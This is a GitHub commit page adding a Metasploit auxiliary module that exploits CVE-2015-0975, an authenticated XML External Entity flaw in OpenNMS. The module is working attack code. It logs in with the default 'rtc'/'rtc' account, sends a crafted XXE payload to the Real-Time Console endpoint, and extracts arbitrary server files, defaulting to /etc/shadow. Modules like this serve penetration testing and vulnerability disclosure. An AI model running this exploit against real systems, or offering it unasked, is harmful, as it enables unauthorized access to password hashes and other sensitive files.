Skip to content

Commit e943cb5

Browse files
committed
Land rapid7#4585 : CVE-2015-0975 XXE in OpenNMS
2 parents d152c41 + d1a2f58 commit e943cb5

File tree

1 file changed

+104
-0
lines changed

1 file changed

+104
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
require 'msf/core'
2+
require 'openssl'
3+
4+
class Metasploit4 < Msf::Auxiliary
5+
6+
include Msf::Exploit::Remote::HttpClient
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'OpenNMS Authenticated XXE',
11+
'Description' => %q{
12+
OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
13+
Although this attack requires authentication, there are several factors that increase the
14+
severity of this vulnerability.
15+
16+
1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
17+
core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
18+
ports or generate network traffic that requires root"
19+
20+
2. The user that you must authenticate as is the "rtc" user which has the default password of
21+
"rtc". There is no mention of this user in the installation guides found here:
22+
http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
23+
admin password of "admin" for security purposes.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' => [
27+
'Stephen Breen <breenmachine[at]gmail.com>', # discovery
28+
'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
29+
],
30+
'References' => [
31+
['CVE', '2015-0975']
32+
],
33+
'DisclosureDate' => 'Jan 08 2015'
34+
))
35+
36+
register_options(
37+
[
38+
Opt::RPORT(8980),
39+
OptBool.new('SSL', [false, 'Use SSL', false]),
40+
OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
41+
OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
42+
OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
43+
OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
44+
], self.class)
45+
46+
end
47+
48+
def run
49+
50+
print_status("Logging in to grab a valid session cookie")
51+
52+
res = send_request_cgi({
53+
'method' => 'POST',
54+
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
55+
'vars_post' => {
56+
'j_username' => datastore['USERNAME'],
57+
'j_password' => datastore['PASSWORD'],
58+
'Login'=> 'Login'
59+
},
60+
})
61+
62+
if res.nil?
63+
fail_with(Failure::Unreachable, "No response from POST request")
64+
elsif res.code != 302
65+
fail_with(Failure::UnexpectedReply, "Non-302 response from POST request")
66+
end
67+
68+
unless res.headers["Location"].include? "index.jsp"
69+
fail_with(Failure::NoAccess, 'Authentication failed')
70+
end
71+
72+
cookie = res.get_cookies
73+
74+
print_status("Got cookie, going for the goods")
75+
76+
rand_doctype = Rex::Text.rand_text_alpha(rand(1..10))
77+
rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
78+
rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
79+
delimiter = SecureRandom.uuid
80+
81+
xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
82+
<!DOCTYPE #{rand_doctype} [
83+
<!ELEMENT #{rand_entity1} ANY >
84+
<!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
85+
]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^
86+
87+
res = send_request_raw({
88+
'method' => 'POST',
89+
'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'),
90+
'data' => xxe,
91+
'cookie' => cookie
92+
})
93+
94+
# extract filepath data from response
95+
if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m
96+
result = $1
97+
print_good("#{result}")
98+
else
99+
fail_with(Failure::Unknown, 'Error fetching file, try another')
100+
end
101+
102+
end
103+
end
104+

0 commit comments

Comments
 (0)